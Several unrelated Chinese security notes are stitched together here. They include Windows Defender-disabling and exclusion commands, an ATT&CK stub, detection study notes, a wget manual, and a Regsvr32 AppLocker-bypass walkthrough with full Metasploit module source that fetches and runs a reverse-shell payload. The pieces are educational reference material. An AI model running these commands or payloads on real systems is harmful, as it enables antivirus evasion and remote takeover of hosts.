reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /f
# 使用 AdvancedRun 关闭
AdvancedRun.exe /EXEFilename "%windir%\system32\cmd.exe" /CommandLine '/c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /d 1 /t REG_DWORD /f' /RunAs 8 /Run
# powershell 方式关闭(新版不可用❌)
Set-MpPreference -DisableRealtimeMonitoring $true
# 组策略关闭(新版不可用❌)
gpedit.msc->Computer Configuration->Administrative Templates->Windows Components->Microsoft Defender Antivirus->Real-time Protection,选择Turn off real-time protection,配置成Enable
```
### 添加查杀排除列表
- https://docs.microsoft.com/en-us/powershell/module/defender/add-mppreference?view=windowsserver2022-ps
利用条件:
- (注册表)需要TrustedInstaller权限
- (powershell)需要管理员权限
```bash
# 注册表方式添加
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\test" /d 0 /t REG_DWORD /f
# powershell 方式添加
Add-MpPreference -ExclusionPath "C:\test"
# powershell 方式删除
Remove-MpPreference -ExclusionPath "C:\test"
```
### 恢复被隔离的文件
- https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/command-line-arguments-microsoft-defender-antivirus?view=o365-worldwide
定位MpCmdRun
```bash
dir "C:\ProgramData\Microsoft\Windows Defender\Platform\" /od /ad /b
```
获得 `<antimalware platform version>`
MpCmdRun 的位置为:`C:\ProgramData\Microsoft\Windows Defender\Platform\<antimalware platform version>`
```bash
# 查看被隔离的文件列表
MpCmdRun -Restore -ListAll
# 恢复指定名称的文件至原目录:
MpCmdRun -Restore -FilePath C:\test\xxxxx.zip
# 恢复所有文件至原目录:
MpCmdRun -Restore -All
# 查看指定路径是否位于排除列表中:
MpCmdRun -CheckExclusion -path C:\test
```
### 移除Token导致Windows Defender失效
Windows Defender进程为MsMpEng.exe,MsMpEng.exe是一个受保护的进程(Protected Process Light,简写为PPL)
非 PPL 进程无法获取 PPL 进程的句柄,导致我们无法直接结束 PPL 进程 MsMpEng.exe, 但是我们能够以 SYSTEM 权限运行的线程修改进程 MsMpEng.exe 的 token, 当我们移除进程 MsMpEng.exe 的所有 token 后,进程 MsMpEng.exe 无法访问其他进程的资源,也就无法检测其他进程是否有害,最终导致 Windows Defender 失效
- https://github.com/pwn1sher/KillDefender
- https://github.com/Octoberfest7/KillDefender
利用条件:
- 需要管理员权限
**防御手段**
- https://github.com/elastic/PPLGuard
### ASR 规则
**关于 ASR 规则**
- https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/attack-surface-reduction-rules-reference?view=o365-worldwide
**相关资源**
- [HackingLZ/ExtractedDefender](https://github.com/HackingLZ/ExtractedDefender)
- https://gist.github.com/infosecn1nja/24a733c5b3f0e5a8b6f0ca2cf75967e3
**相关文章**
- [Extracting Whitelisted Paths from Windows Defender ASR Rules](https://adamsvoboda.net/extracting-asr-rules/)
### VDM 文件提取
Windows Defender 签名/规则存储在 VDM 容器中。其中许多只是 Lua 脚本文件。可以使用 WDExtract 等工具从这些容器中解密和提取所有 PE 图像。
**关于 VDM 格式**
- https://github.com/commial/experiments/tree/master/windows-defender/VDM
**相关工具**
- [hfiref0x/WDExtract](https://github.com/hfiref0x/WDExtract) - Extract Windows Defender database from vdm files and unpack it
- https://github.com/commial/experiments/tree/master/windows-defender/lua
- [crisprss/Extracted_WD_VDM](https://github.com/crisprss/Extracted_WD_VDM)
|
sec-knowleage
|
# T1591-003-收集受害者组织信息-确定业务节奏
## 来自ATT&CK的描述
攻击者可能会收集与目标组织的业务有关的信息,这些信息可以在定位过程中使用。有关组织业务信息可能包括各种详细信息,包括每周的工作时间/天。此信息还可能显示受害者的硬件和软件资源的购买和运输时间/日期。
攻击者可以通过多种方式收集此信息,例如通过“网络钓鱼诱骗”直接诱捕。有关业务节奏的信息也可能会通过在线或其他可访问的数据集(例如,社交媒体或受害人拥有的网站)暴露给攻击者。
## 测试案例
个人理解:此技术可能在社工前期使用,观察受害者上下班时间、车辆进入情况,为后续物理入侵提供一些帮助。
## 检测日志
无
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
无
## 建议
许多此类攻击活动的发生率很高,并且相关的误报率也很高,并且有可能发生在目标组织的监测范围之外,从而使防御者难以发现。
检测工作可能会集中在攻击生命周期的相关阶段,例如在"初始访问"阶段。
## 关联TIP
[[T1591-001-收集目标组织信息-确定物理位置]]
[[T1591-002-收集目标组织信息-业务关系]]
[[T1591-004-收集目标组织信息-确定角色]]
## 参考推荐
MITRE-ATT&CK-T1591-003
<https://attack.mitre.org/techniques/T1591/003/>
|
sec-knowleage
|
# 数据驱动的威胁检测和攻击溯源—学习笔记
本篇主要是对[1]的学习笔记。
## 攻击意图
- 个人恩怨
- 利益驱动
- 诈骗
- 勒索
- 引流
- 挂暗链
- 个人爱好
- 政治目的
- 竞争对手
## 攻击面
- 外网打点
- 权限提升
- DDOS
- 内网渗透
## Web攻击路径
- 信息搜集
- 攻击尝试
- 打点成功
- 权限提升
- 完全控制
- 内网探测
- 横向扩展
- 维持权限
## 常见的检测及方法
### 被动检测
- IDS
- IPS
- WAF
- ...
### 主动检测
- 主机日志分析
- Linux日志
- Windows日志
- 应用日志分析
- 流量入侵检测
### 日志分析方法
#### 登录日志
- 登录次数
- 登录失败
- 异常登录
- 异常用户登录
- 非工作时间登录
#### 操作日志
- 执行的命令
- TODO
#### 配置文件
- 新添加项
- 计划任务
- 开机启动
- 被修改
### Web日志分析
#### IP
- 异常IP
- 请求次数
- 请求频率
- 异常请求
#### UA
- 可疑UA
- 一些攻击器的UA特征
- UA统计
- 统计量大的,或者任务其可疑的
#### 攻击特征
- 后门特征
- 后门的特征
- 漏洞特征
- 特殊路径
- 管理后台的路径
- 敏感的接口
#### 时间
- 异常时间
- 时间段统计
- 结合业务
#### URL入口
- 高频访问
- 低频访问
- 敏感路径
- 同“特殊路径”
- 入口对比
- 哪些是正常的、业务的
- 后门访问
### 日志分析技巧
- 总的来说先筛后选再分析
- 筛掉正常的、没有用的
- 选择可以的
- 进行分析和验证
- TODO
### 攻击溯源
- 攻击残留特征
- CC地址信息
- 攻击者IP
## 数据驱动的检测
### 需要的数据
- 第三方数据
- 威胁情报数据
- SIEM数据
- 网络设备日志
- 主机日志
- Web应用日志
- 终端数据
- 进程日志
- 杀毒日志
- 流量数据
- DNS
- HTTP/WebMail/FTP,进行重放还原
- SMTP/POP3/IMAP
- SMB,服务器消息块(SMB,Server Message Block),常用于网络共享
- oracle/mysql/sqlserver
- LDAP/SSL
### 检测面
#### 事件发现
- 攻击检测
- CC攻击
- Web漏洞
#### 行为分析
- 基线分析
- 群体分析
- 账号异动
- 终端行为
- 越权行为
#### 场景还原
- 攻击手法
- 利用工具
#### 攻击溯源
- 网内活动
### 攻击溯源技巧
- CC域名很多时候会经常变化,且域名注册信息也会有盗用或不真实的情况,这时候就要结合其他维度的信息进行交叉的分析,比如通过检测发现一系列的CC域名都属于同一个DNS进行的解析,且历史DNS的解析时间、数量等都相似,虽然其注册信息都不同,但可能推测其属于同一攻击者/团伙
## References
\[1] 数据驱动下的威胁检测与攻击溯源, https://www.aqniukt.com/course/2062/task/40647/show
|
sec-knowleage
|
wget
===
Linux系统下载文件工具
## 补充说明
**wget命令** 用来从指定的URL下载文件。wget非常稳定,它在带宽很窄的情况下和不稳定网络中有很强的适应性,如果是由于网络的原因下载失败,wget会不断的尝试,直到整个文件下载完毕。如果是服务器打断下载过程,它会再次联到服务器上从停止的地方继续下载。这对从那些限定了链接时间的服务器上下载大文件非常有用。
wget支持HTTP,HTTPS和FTP协议,可以使用HTTP代理。所谓的自动下载是指,wget可以在用户退出系统的之后在后台执行。这意味这你可以登录系统,启动一个wget下载任务,然后退出系统,wget将在后台执行直到任务完成,相对于其它大部分浏览器在下载大量数据时需要用户一直的参与,这省去了极大的麻烦。
用于从网络上下载资源,没有指定目录,下载资源回默认为当前目录。wget虽然功能强大,但是使用起来还是比较简单:
1. **支持断点下传功能** 这一点,也是网络蚂蚁和FlashGet当年最大的卖点,现在,Wget也可以使用此功能,那些网络不是太好的用户可以放心了;
2. **同时支持FTP和HTTP下载方式** 尽管现在大部分软件可以使用HTTP方式下载,但是,有些时候,仍然需要使用FTP方式下载软件;
3. **支持代理服务器** 对安全强度很高的系统而言,一般不会将自己的系统直接暴露在互联网上,所以,支持代理是下载软件必须有的功能;
4. **设置方便简单** 可能,习惯图形界面的用户已经不是太习惯命令行了,但是,命令行在设置上其实有更多的优点,最少,鼠标可以少点很多次,也不要担心是否错点鼠标;
5. **程序小,完全免费** 程序小可以考虑不计,因为现在的硬盘实在太大了;完全免费就不得不考虑了,即使网络上有很多所谓的免费软件,但是,这些软件的广告却不是我们喜欢的。
### 语法
```shell
wget [参数] [URL地址]
```
### 选项
```shell
启动参数:
-V, –-version 显示wget的版本后退出
-h, –-help 打印语法帮助
-b, –-background 启动后转入后台执行
-e, –-execute=COMMAND 执行 .wgetrc 格式的命令,wgetrc格式参见/etc/wgetrc或~/.wgetrc
记录和输入文件参数:
-o, –-output-file=FILE 把记录写到FILE文件中
-a, –-append-output=FILE 把记录追加到FILE文件中
-d, –-debug 打印调试输出
-q, –-quiet 安静模式(没有输出)
-v, –-verbose 冗长模式(这是缺省设置)
-nv, –-non-verbose 关掉冗长模式,但不是安静模式
-i, –-input-file=FILE 下载在FILE文件中出现的URLs
-F, –-force-html 把输入文件当作HTML格式文件对待
-B, –-base=URL 将URL作为在-F -i参数指定的文件中出现的相对链接的前缀
–-sslcertfile=FILE 可选客户端证书
–-sslcertkey=KEYFILE 可选客户端证书的KEYFILE
–-egd-file=FILE 指定EGD socket的文件名
下载参数:
–-bind-address=ADDRESS 指定本地使用地址(主机名或IP,当本地有多个IP或名字时使用)
-t, –-tries=NUMBER 设定最大尝试链接次数(0 表示无限制).
-O –-output-document=FILE 把文档写到FILE文件中
-nc, –-no-clobber 不要覆盖存在的文件或使用.#前缀
-c, –-continue 接着下载没下载完的文件
–progress=TYPE 设定进程条标记
-N, –-timestamping 不要重新下载文件除非比本地文件新
-S, –-server-response 打印服务器的回应
–-spider 不下载任何东西
-T, –-timeout=SECONDS 设定响应超时的秒数
-w, –-wait=SECONDS 两次尝试之间间隔SECONDS秒
–waitretry=SECONDS 在重新链接之间等待1…SECONDS秒
–random-wait 在下载之间等待0…2*WAIT秒
-Y, –-proxy=on/off 打开或关闭代理
-Q, –-quota=NUMBER 设置下载的容量限制
-–limit-rate=RATE 限定下载输率
目录参数:
-nd –-no-directories 不创建目录
-x, –-force-directories 强制创建目录
-nH, –-no-host-directories 不创建主机目录
-P, –-directory-prefix=PREFIX 将文件保存到目录 PREFIX/…
–cut-dirs=NUMBER 忽略 NUMBER层远程目录
HTTP 选项参数:
-–http-user=USER 设定HTTP用户名为 USER.
-–http-passwd=PASS 设定http密码为 PASS
-C, –-cache=on/off 允许/不允许服务器端的数据缓存 (一般情况下允许)
-E, –-html-extension 将所有text/html文档以.html扩展名保存
-–ignore-length 忽略 Content-Length 头域
-–header=STRING 在headers中插入字符串 STRING
-–proxy-user=USER 设定代理的用户名为 USER
-–proxy-passwd=PASS 设定代理的密码为 PASS
-–referer=URL 在HTTP请求中包含 Referer: URL 头
-s, –-save-headers 保存HTTP头到文件
-U, –-user-agent=AGENT 设定代理的名称为 AGENT而不是 Wget/VERSION
-–no-http-keep-alive 关闭 HTTP活动链接 (永远链接)
–-cookies=off 不使用 cookies
–-load-cookies=FILE 在开始会话前从文件 FILE中加载cookie
-–save-cookies=FILE 在会话结束后将 cookies保存到 FILE文件中
FTP 选项参数:
-nr, -–dont-remove-listing 不移走 .listing 文件
-g, -–glob=on/off 打开或关闭文件名的 globbing机制
-–passive-ftp 使用被动传输模式 (缺省值).
-–active-ftp 使用主动传输模式
-–retr-symlinks 在递归的时候,将链接指向文件(而不是目录)
递归下载参数:
-r, -–recursive 递归下载--慎用!
-l, -–level=NUMBER 最大递归深度 (inf 或 0 代表无穷)
–-delete-after 在现在完毕后局部删除文件
-k, –-convert-links 转换非相对链接为相对链接
-K, –-backup-converted 在转换文件X之前,将之备份为 X.orig
-m, –-mirror 等价于 -r -N -l inf -nr
-p, –-page-requisites 下载显示HTML文件的所有图片
递归下载中的包含和不包含(accept/reject):
-A, –-accept=LIST 分号分隔的被接受扩展名的列表
-R, –-reject=LIST 分号分隔的不被接受的扩展名的列表
-D, –-domains=LIST 分号分隔的被接受域的列表
–-exclude-domains=LIST 分号分隔的不被接受的域的列表
–-follow-ftp 跟踪HTML文档中的FTP链接
–-follow-tags=LIST 分号分隔的被跟踪的HTML标签的列表
-G, –-ignore-tags=LIST 分号分隔的被忽略的HTML标签的列表
-H, –-span-hosts 当递归时转到外部主机
-L, –-relative 仅仅跟踪相对链接
-I, –-include-directories=LIST 允许目录的列表
-X, –-exclude-directories=LIST 不被包含目录的列表
-np, –-no-parent 不要追溯到父目录
wget -S –-spider url 不下载只显示过程
```
### 参数
URL:下载指定的URL地址。
### 实例
**使用wget下载单个文件**
```shell
wget http://www.jsdig.com/testfile.zip
```
以下的例子是从网络下载一个文件并保存在当前目录,在下载的过程中会显示进度条,包含(下载完成百分比,已经下载的字节,当前下载速度,剩余下载时间)。
**下载并以不同的文件名保存**
```shell
wget -O wordpress.zip http://www.jsdig.com/download.aspx?id=1080
```
wget默认会以最后一个符合`/`的后面的字符来命令,对于动态链接的下载通常文件名会不正确。
错误:下面的例子会下载一个文件并以名称`download.aspx?id=1080`保存:
```shell
wget http://www.jsdig.com/download?id=1
```
即使下载的文件是zip格式,它仍然以`download.php?id=1080`命名。
正确:为了解决这个问题,我们可以使用参数`-O`来指定一个文件名:
```shell
wget -O wordpress.zip http://www.jsdig.com/download.aspx?id=1080
```
**wget限速下载**
```shell
wget --limit-rate=300k http://www.jsdig.com/testfile.zip
```
当你执行wget的时候,它默认会占用全部可能的宽带下载。但是当你准备下载一个大文件,而你还需要下载其它文件时就有必要限速了。
**使用wget断点续传**
```shell
wget -c http://www.jsdig.com/testfile.zip
```
使用`wget -c`重新启动下载中断的文件,对于我们下载大文件时突然由于网络等原因中断非常有帮助,我们可以继续接着下载而不是重新下载一个文件。需要继续中断的下载时可以使用`-c`参数。
**使用wget后台下载**
```shell
wget -b http://www.jsdig.com/testfile.zip
Continuing in background, pid 1840.
Output will be written to 'wget-log'.
```
对于下载非常大的文件的时候,我们可以使用参数`-b`进行后台下载,你可以使用以下命令来察看下载进度:
```shell
tail -f wget-log
```
**伪装代理名称下载**
```shell
wget --user-agent="Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16" http://www.jsdig.com/testfile.zip
```
有些网站能通过根据判断代理名称不是浏览器而拒绝你的下载请求。不过你可以通过`--user-agent`参数伪装。
**测试下载链接**
当你打算进行定时下载,你应该在预定时间测试下载链接是否有效。我们可以增加`--spider`参数进行检查。
```shell
wget --spider URL
```
如果下载链接正确,将会显示:
```shell
Spider mode enabled. Check if remote file exists.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Remote file exists and could contain further links,
but recursion is disabled -- not retrieving.
```
这保证了下载能在预定的时间进行,但当你给错了一个链接,将会显示如下错误:
```shell
wget --spider url
Spider mode enabled. Check if remote file exists.
HTTP request sent, awaiting response... 404 Not Found
Remote file does not exist -- broken link!!!
```
你可以在以下几种情况下使用`--spider`参数:
* 定时下载之前进行检查
* 间隔检测网站是否可用
* 检查网站页面的死链接
**增加重试次数**
```shell
wget --tries=40 URL
```
如果网络有问题或下载一个大文件也有可能失败。wget默认重试20次连接下载文件。如果需要,你可以使用`--tries`增加重试次数。
**下载多个文件**
```shell
wget -i filelist.txt
```
首先,保存一份下载链接文件:
```shell
cat > filelist.txt
url1
url2
url3
url4
```
接着使用这个文件和参数`-i`下载。
**镜像网站**
```shell
wget --mirror -p --convert-links -P ./LOCAL URL
```
下载整个网站到本地。
* `--miror`开户镜像下载。
* `-p`下载所有为了html页面显示正常的文件。
* `--convert-links`下载后,转换成本地的链接。
* `-P ./LOCAL`保存所有文件和目录到本地指定目录。
**过滤指定格式下载**
```shell
wget --reject=gif ur
```
下载一个网站,但你不希望下载图片,可以使用这条命令。
**把下载信息存入日志文件**
```shell
wget -o download.log URL
```
不希望下载信息直接显示在终端而是在一个日志文件,可以使用。
**限制总下载文件大小**
```shell
wget -Q5m -i filelist.txt
```
当你想要下载的文件超过5M而退出下载,你可以使用。注意:这个参数对单个文件下载不起作用,只能递归下载时才有效。
**下载指定格式文件**
```shell
wget -r -A.pdf url
```
可以在以下情况使用该功能:
* 下载一个网站的所有图片。
* 下载一个网站的所有视频。
* 下载一个网站的所有PDF文件。
**FTP下载**
```shell
wget ftp-url
wget --ftp-user=USERNAME --ftp-password=PASSWORD url
```
可以使用wget来完成ftp链接的下载。
使用wget匿名ftp下载:
```shell
wget ftp-url
```
使用wget用户名和密码认证的ftp下载:
```shell
wget --ftp-user=USERNAME --ftp-password=PASSWORD url
```
|
sec-knowleage
|
**注:**请多喝点热水或者凉白开,身体特别重要。
### Regsvr32简介:
Regsvr32命令用于注册COM组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。WinXP及以上系统的regsvr32.exe在windows\system32文件夹下;2000系统的regsvr32.exe在winnt\system32文件夹下。但搭配regsvr32.exe使用的 DLL,需要提供 DllRegisterServer 和 DllUnregisterServer两个输出函式,或者提供DllInstall输出函数。
**说明:**Regsvr32.exe所在路径已被系统添加PATH环境变量中,因此,Regsvr32命令可识别。
Windows 2003 默认位置:
```bash
C:\WINDOWS\SysWOW64\regsvr32.exe
C:\WINDOWS\system32\regsvr32.exe
```
**攻击机:**192.168.1.4 Debian
**靶机:** 192.168.1.119 Windows 2003
msf 已内置auxiliary版本的regsvr32_command_delivery_server,但是最新版已经无exploit版本regsvr32,文章结尾补充。
### 配置攻击机msf:
```bash
msf auxiliary(server/regsvr32_command_delivery_server) > use auxiliary/server/regsvr32_command_delivery_server
msf auxiliary(server/regsvr32_command_delivery_server) > set CMD net user Micropoor Micropoor /add
CMD => net user Micropoor Micropoor /add
msf auxiliary(server/regsvr32_command_delivery_server) > exploit
[*] Using URL: http://0.0.0.0:8080/ybn7xESQYCGv
[*] Local IP: http://192.168.1.4:8080/ybn7xESQYCGv
[*] Server started.
[*] Run the following command on the target machine:
regsvr32 /s /n /u /i:http://192.168.1.4:8080/ybn7xESQYCGv scrobj.dll
```

### 靶机执行:
```bash
regsvr32 /s /n /u /i:http://192.168.1.4:8080/ybn7xESQYCGv scrobj.dll
```




### 附:powershell 版 Regsvr32
**regsvr32_applocker_bypass_server.rb**
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit‐framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Regsvr32.exe (.sct) Application Whitelisting Bypass Serve r', 'Description' => %q(
This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique.
The module creates a web server that hosts an .sct file. When the user types the provided regsvr32 command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command.
This command then downloads and executes the specified payload (similar to the web_delivery module with PSH).
Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Casey Smith', # AppLocker bypass research and vulnerability discover y(\@subTee)
'Trenton Ivey', # MSF Module (kn0)
],
'DefaultOptions' =>
{
'Payload' => 'windows/meterpreter/reverse_tcp'
},
'Targets' => [['PSH', {}]],
'Platform' => %w(win),
'Arch' => [ARCH_X86, ARCH_X86_64],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 19 2016',
'References' =>
[
['URL', 'http://subt0x10.blogspot.com/2016/04/bypass‐application‐whitelisting‐script.html']
]
))
end
def primer
print_status('Run the following command on the target machine:')
print_line("regsvr32 /s /n /u /i:\#{get_uri}.sct scrobj.dll")
end
def on_request_uri(cli, _request)
# If the resource request ends with '.sct', serve the .sct file
# Otherwise, serve the PowerShell payload
if _request.raw_uri =~ /\.sct$/
serve_sct_file
else
serve_psh_payload
end
end
def serve_sct_file
print_status("Handling request for the .sct file from #{cli.peerhost}")
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)
download_and_run = "#{ignore_cert}#{download_string}"
psh_command = generate_psh_command_line(
noprofile: true,
windowstyle: 'hidden',
command: download_and_run
)
data = gen_sct_file(psh_command)
send_response(cli, data, 'Content‐Type' => 'text/plain')
end
def serve_psh_payload
print_status("Delivering payload to #{cli.peerhost}")
data = cmd_psh_payload(payload.encoded,
payload_instance.arch.first,
remove_comspec: true,
use_single_quotes: true
)
send_response(cli,data,'Content‐Type' => 'application/octet‐stream')
end
def rand_class_id
"#{Rex::Text.rand_text_hex 8}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex12}"
end
def gen_sct_file(command)
%{<?XML version="1.0"?><scriptlet><registrationprogid="\#{rand_text_a lphanumeric 8}"
classid="{#{rand_class_id}}"><script><![CDATA[ var r = ne wActiveXObject("WScript.Shell").Run("#{command}",0);]]><script></registration></scriptlet>}
end
end
```
**使用方法:**
copy regsvr32_applocker_bypass_server.rb to /usr/share/metasploit-framework/modules/exploits/windows/misc

> Micropoor
|
sec-knowleage
|
'\"
'\" Copyright (c) 1994-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: popup.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: popup.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH tk_popup 3tk 4.0 Tk "Tk Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
tk_popup \- 贴出一个弹出菜单
.SH "总览 SYNOPSIS"
\fBtk_popup \fImenu x y \fR?\fIentry\fR?
.BE
.SH "描述 DESCRIPTION"
.PP
这个过程在屏幕上给定位置贴出(post)一个菜单并配置 Tk 使这个菜单和它的级联子菜单可以用鼠标或键盘来遍历(traverse)。\fIMenu\fR 是一个菜单组件的名字而 \fIx\fR 和 \fIy\fR 是显示这个菜单的根坐标。如果省略了 \fIentry\fR 或者是它是一个空串,则菜单的左上角被定位在给定点上。否则 \fIentry\fR 给出 \fImenu\fR 中的一个条目的索引,而定位的菜单将使这个条目位于给定点上。
.SH "关键字 KEYWORDS"
menu, popup
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/12/26
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# Index
Tips:**切忌泛而不精!**
这是我学习安全运营的旅途记录,很开心与你分享~
目前主要在看的方向:
- 威胁情报
- 威胁狩猎
- 安全数据分析
- 应急响应
- 安全开发
- 系统安全
- 云安全
---
这是我的邮箱📮:`contact@y1ng.org` 欢迎交流!
|
sec-knowleage
|
# 翻译
目前,多语言的支持主要借鉴了 fastapi 的处理方式。需要注意的是,在翻译的过程中我们只需要确保不同语言在文件级别上保持一致。对于文件中具体的内容,不必过于拘谨,只需意思表达一致即可。
## 完善已有语言
这里我们以英语为例进行介绍。
首先,我们需要确定英语对应的 2 个字母的代码,通过查询https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes,我们可以知道对应的代码为 `en`。
在确定了代码后,我们就可以知道该语言的文档所在的目录,即 `docs/en`。
